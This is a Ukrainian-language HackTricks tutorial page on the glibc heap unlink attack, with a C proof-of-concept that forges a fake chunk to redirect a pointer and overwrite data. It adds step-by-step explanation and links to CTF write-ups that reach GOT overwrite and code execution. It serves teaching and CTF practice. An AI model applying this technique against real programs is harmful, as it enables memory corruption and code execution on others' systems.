hacktricks/binary-exploitation/libc-heap/unlink-attack.md

Атака Unlink

{% hint style="success" %} Вивчайте та практикуйте хакінг AWS: Навчання HackTricks AWS Red Team Expert (ARTE)
Вивчайте та практикуйте хакінг GCP: Навчання HackTricks GCP Red Team Expert (GRTE)

Підтримайте HackTricks

• Перевірте плани підписки!
• Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами на Twitter 🐦 @hacktricks_live.
• Поширюйте хакерські трюки, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на GitHub.

{% endhint %}

Основна інформація

Коли цю атаку виявили, вона в основному дозволяла WWW (Write What Where), однак, були додані перевірки, що робить нову версію атаки більш цікавою, складною та некорисною.

Приклад коду:

Код

```c #include #include #include #include

// Altered from d778318b6a/assets/files/unlink_exploit.c to make it work

struct chunk_structure { size_t prev_size; size_t size; struct chunk_structure *fd; struct chunk_structure *bk; char buf[10]; // padding };

int main() { unsigned long long *chunk1, *chunk2; struct chunk_structure *fake_chunk, *chunk2_hdr; char data[20];

// First grab two chunks (non fast) chunk1 = malloc(0x8000); chunk2 = malloc(0x8000); printf("Stack pointer to chunk1: %p\n", &chunk1); printf("Chunk1: %p\n", chunk1); printf("Chunk2: %p\n", chunk2);

// Assuming attacker has control over chunk1's contents // Overflow the heap, override chunk2's header

// First forge a fake chunk starting at chunk1 // Need to setup fd and bk pointers to pass the unlink security check fake_chunk = (struct chunk_structure *)chunk1; fake_chunk->size = 0x8000; fake_chunk->fd = (struct chunk_structure *)(&chunk1 - 3); // Ensures P->fd->bk == P fake_chunk->bk = (struct chunk_structure *)(&chunk1 - 2); // Ensures P->bk->fd == P

// Next modify the header of chunk2 to pass all security checks chunk2_hdr = (struct chunk_structure *)(chunk2 - 2); chunk2_hdr->prev_size = 0x8000; // chunk1's data region size chunk2_hdr->size &= ~1; // Unsetting prev_in_use bit

// Now, when chunk2 is freed, attacker's fake chunk is 'unlinked' // This results in chunk1 pointer pointing to chunk1 - 3 // i.e. chunk1[3] now contains chunk1 itself. // We then make chunk1 point to some victim's data free(chunk2); printf("Chunk1: %p\n", chunk1); printf("Chunk1[3]: %x\n", chunk1[3]);

chunk1[3] = (unsigned long long)data;

strcpy(data, "Victim's data");

// Overwrite victim's data using chunk1 chunk1[0] = 0x002164656b636168LL;

printf("%s\n", data);

return 0; }

</details>

* Атака не працює, якщо використовуються tcaches (після версії 2.26)

### Мета

Ця атака дозволяє **змінити вказівник на блок так, щоб він вказував на 3 адреси перед собою**. Якщо нове місце (навколишність, де знаходився вказівник) містить цікаві речі, наприклад інші керовані виділення / стек..., можливо зчитати/перезаписати їх, щоб завдати більшої шкоди.

* Якщо цей вказівник знаходився в стеку, оскільки тепер він вказує на 3 адреси перед собою і користувач, можливо, може зчитати його та змінити, буде можливо витік чутливої інформації зі стеку або навіть змінити адресу повернення (можливо) без торканнясь канарейки
* У прикладах CTF цей вказівник знаходиться в масиві вказівників на інші виділення, тому, зробивши його вказувати на 3 адреси перед і маючи можливість зчитувати та записувати його, можливо зробити інші вказівники вказувати на інші адреси.\
Оскільки користувач може також зчитувати/писати інші виділення, він може витікати інформацію або перезаписувати нову адресу в довільних місцях (наприклад, в GOT).

### Вимоги

* Деякий контроль у пам'яті (наприклад, стек), щоб створити кілька блоків, надаючи значення деяким атрибутам.
* Витік стеку для встановлення вказівників фальшивого блоку.

### Атака

* Є кілька блоків (блок1 та блок2)
* Атакуючий контролює вміст блоку1 та заголовки блоку2.
* У блоку1 атакуючий створює структуру фальшивого блоку:
* Щоб обійти захисти, він переконується, що поле `size` є правильним, щоб уникнути помилки: `corrupted size vs. prev_size while consolidating`
* і поля `fd` та `bk` фальшивого блоку вказують на те місце, де зберігається вказівник блоку1 з зміщеннями -3 та -2 відповідно, так що `fake_chunk->fd->bk` та `fake_chunk->bk->fd` вказують на позицію в пам'яті (стек), де знаходиться справжня адреса блоку1:

<figure><img src="../../.gitbook/assets/image (1245).png" alt=""><figcaption><p><a href="https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit">https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit</a></p></figcaption></figure>

* Заголовки блоку2 змінені так, щоб вказувати, що попередній блок не використовується і що розмір - це розмір фальшивого блоку.
* Коли другий блок вивільняється, тоді відбувається роз'єднання цього фальшивого блоку:
* `fake_chunk->fd->bk` = `fake_chunk->bk`
* `fake_chunk->bk->fd` = `fake_chunk->fd`
* Раніше було зроблено так, що `fake_chunk->fd->bk` та `fake_chunk->bk->fd` вказують на те саме місце (місце в стеці, де зберігалася `chunk1`), тому це був дійсний зв'язаний список. Оскільки **обидва вказують на те саме місце**, тільки останній (`fake_chunk->bk->fd = fake_chunk->fd`) буде **виконаний**.
* Це призведе до **перезапису вказівника на блок1 в стеці на адресу (або байти), збережену 3 адреси перед в стеці**.
* Таким чином, якщо атакуючий зможе контролювати вміст блоку1 знову, він зможе **писати всередину стеку**, можливо перезаписати адресу повернення, обійшовши канарейку та змінивши значення та вказівники локальних змінних. Навіть знову змінюючи адресу блоку1, збережену в стеці, на інше місце, де якщо атакуючий зможе знову контролювати вміст блоку1, він зможе писати де завгодно.
* Зверніть увагу, що це було можливо через те, що **адреси зберігаються в стеці**. Ризик та експлуатація можуть залежати від **того, де зберігаються адреси фальшивого блоку**.

<figure><img src="../../.gitbook/assets/image (1246).png" alt=""><figcaption><p><a href="https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit">https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit</a></p></figcaption></figure>

## Посилання

* [https://heap-exploitation.dhavalkapil.com/attacks/unlink\_exploit](https://heap-exploitation.dhavalkapil.com/attacks/unlink\_exploit)
* Хоча було б дивно знайти атаку unlink навіть у CTF, ось деякі описи, де ця атака використовувалася:
* Приклад CTF: [https://guyinatuxedo.github.io/30-unlink/hitcon14\_stkof/index.html](https://guyinatuxedo.github.io/30-unlink/hitcon14\_stkof/index.html)
* У цьому прикладі, замість стеку є масив адрес, виділених за допомогою malloc. Атака unlink виконується для можливості виділення блоку тут, тому можливо керувати вказівниками масиву виділених адрес. Потім є ще одна функціональність, яка дозволяє змінювати вміст блоків за цими адресами, що дозволяє вказувати адреси на GOT, змінювати адреси функцій для отримання витоків та RCE.
* Інший приклад CTF: [https://guyinatuxedo.github.io/30-unlink/zctf16\_note2/index.html](https://guyinatuxedo.github.io/30-unlink/zctf16\_note2/index.html)
* Точно так само, як у попередньому прикладі, є масив адрес виділень. Можливо виконати атаку unlink, щоб адреса першого виділення вказувала на кілька позицій перед початком масиву, а потім перезаписати це виділення на новій позиції. Таким чином, можливо перезаписати вказівники інших виділень, щоб вказувати на GOT atoi, вивести його, щоб отримати витік libc, а потім перезаписати GOT atoi адресою до одного гаджета.
* Приклад CTF з власними функціями malloc та free, які зловживають вразливістю, дуже схожою на атаку unlink: [https://guyinatuxedo.github.io/33-custom\_misc\_heap/csaw17\_minesweeper/index.html](https://guyinatuxedo.github.io/33-custom\_misc\_heap/csaw17\_minesweeper/index.html)
* Є переповнення, яке дозволяє керувати вказівниками FD та BK власного malloc, який буде (власноруч) вивільнений. Крім того, у купі є біт exec, тому можливо витікати адресу купи та вказувати функцію з GOT на купу з shellcode для виконання.

{% hint style="success" %}
Вивчайте та практикуйте хакінг AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Навчання AWS Red Team Expert (ARTE) від HackTricks**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Вивчайте та практикуйте хакінг GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Навчання GCP Red Team Expert (GRTE) від HackTricks**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)

<details>

<summary>Підтримайте HackTricks</summary>

* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Поширюйте хакерські трюки, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github репозиторіїв.

</details>
{% endhint %}